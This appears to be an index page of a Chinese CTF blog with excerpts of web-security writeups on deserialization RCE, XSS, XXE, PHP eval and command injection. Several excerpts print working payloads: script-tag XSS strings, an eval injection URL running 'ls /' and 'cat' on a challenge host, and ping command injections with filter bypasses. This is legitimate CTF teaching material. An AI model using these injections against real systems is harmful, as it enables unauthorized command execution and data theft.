AliCTF 2026 Web - next-challenge · React2Shell 机制梳理

SUBGROUPX Repo: https://github.com/n-WN/SubgroupX 日期: 2026-02-05 / 环境: http://223.6.249.127:28433 / 技术栈: Node.js v20.19.6 alpine x64, Next.js 16.0.6 dev, React 19.2.0 / 题目类型: Web, 500 pts / 结论 通过 React Flight 反序列化触发 server reference,加上 Hello() 的模板字符串 toString sink,实现了不依赖 constructor/__proto__/prototype 的 RCE,最终读取 flag:
Read more
February 3, 2026

AliCTF 2026 线上赛 Web - staircase

SUBGROUPX Repo: https://github.com/n-WN/SubgroupX 这题最终落地利用点是 MapDB 的 linked record:把 payload 分散种在多段 icon 记录里,再通过极少量元数据 patch 把 “icon” 指向链表头,最后 GET /files/icon 触发 Serializer.JAVA 反序列化完成 RCE。 / 题目信息 题目:staircase 分值:500 目标:拿到 flag{...}(flag 文件位于容器根目录 /flag-<random>.txt) 远程:题面端口会变更,需要以最新为准(本文最终打通的是 tcp *.*.*.*:*,HTTP 服务) hint: 远程环境不出网 MapDB 支持“链表式”记录(linked record)存储/读取,用于巨型记录 最终结论 本地已打通 本题最终落地利用链不再依赖“用受限写原语合成任意字节串”,而是:
Read more

N1CTF Junior 2026 1/2

SUBGROUPX Repo: https://github.com/n-WN/SubgroupX 解了几道分数较高的题目,部署后继续修复公式渲染(theme/模板问题)。 / AstralCat 服务端每轮随机 99 字节 message,用 Luo Shu 做 CBC。关键点是同一个对象连续调用两次 Encrypt(),第二次加密的输入其实是第一次的密文。
Read more

XCTF Lilac 2026 Writeup

SUBGROUPX Repo: https://github.com/n-WN/SubgroupX 整理版汇总:按仓库内文档与脚本串主线,每题只保留关键思路和 exp 核心片段(截图已脱敏)。 / 整理说明 本文按仓库内文档与脚本整理,每题只保留解题主线与 exp 核心片段。 文中用 HOST:PORT 代替真实地址,flag 统一写为 LilacCTF{...},不包含外链 URL 与真实 IP。
Read more
June 21, 2024

WebSec 之 PHP反序列化 与 Python SSTI

反序列化 魔术方法是一种特殊的方法,当对对象执行某些操作时会覆盖 PHP 的默认操作 / PHP 保留所有以 __ 开头的方法名称。 因此,除非覆盖 PHP 的行为,否则不建议使用此类方法名称
Read more
June 21, 2024

WebSec 之 XSS

prompt(1) to win 平台 prompt(1) to win - 0x0 之 0-8 / 01 无过滤,白给局,掌握拼接的思路尝试 / payload: 1">`<script>prompt(1)</script>`<" 02 过滤 =( / HTML 实体绕过(注意HTML实体有多种形式,可以都试试) / <svg><script>prompt(1)<b> 03 正则匹配检测同时出现的 ->
Read more
April 11, 2024

配置 MitMProxy

mitmproxy文档 / brew install mitmproxy # baidu_mitm.py # Demo # 导入 mitmproxy 的 http 模块 from mitmproxy import http # 请求处理函数 def request(flow: http.HTTPFlow) -> None: # 检查请求的主机是否为 'baidu.com' if "baidu.com" in flow.request.pretty_host: # 打印请求的 URL print(f"Request URL: {flow.request.url}") # 响应处理函数 def response(flow: http.HTTPFlow) -> None: # 检查请求的主机是否为 'baidu.com' if "baidu.com" in flow.request.pretty_host: # 打印响应的状态码 print(f"Response Status: {flow.response.status_code}") 浏览器配置忽略证书错误并设置代理为 127.0.0.1:8080
Read more
November 30, 2023

[CVE-2014-3529] Excel XXE

XXE – 外部实体注入(XML External Entity Injection),为利用 XML 处理器的漏洞的攻击技术。XML 外部实体注入漏洞允许攻击者向应用程序注入恶意内容,并在解析 XML 时触发。
Read more
August 31, 2023

[WebSec 信息泄露] php eval 与 vim 的临时交换文件

题目提示 vim 异常退出, 于是下载 .index.php.swp 进而通过 vim -r index.php.swp 恢复出如下代码 对源码分析后的 payload : ls 根目录 / http://124.221.34.13:50004/?cnss@30fc5b20a309996f3ab12662e3c4ac932c08db7f=$cmd%20=%20%27ls%20/%27;exec($cmd,%20$result,%20$var);var_dump($result);var_dump($var); 发现有 fl4444444g 这个可疑文件 cat flag / http://124.221.34.13:50004/?cnss@30fc5b20a309996f3ab12662e3c4ac932c08db7f=$cmd%20=%20%27cat%20/fl4444444g%27;exec($cmd,%20$result,%20$var);var_dump($result);var_dump($var);
Read more
July 18, 2023

buuCTF WEB方向刷题(熟悉 Yakit)

[GXYCTF2019]Ping Ping Ping 思路 推测为拼接执行 / $IFS$1 绕过空格, 创建 shell 变量绕过 flag 字符检测 / Payload /?ip=1|ls ls 一下查看文件, 看到有两个文件, 其中一个是 flag.php, 用上面的思路 cat 一下 / /?ip=1;a=g;cat$IFS$1fla$a.php 用 Yakit 传的时候记得关闭左边的强制 https
Read more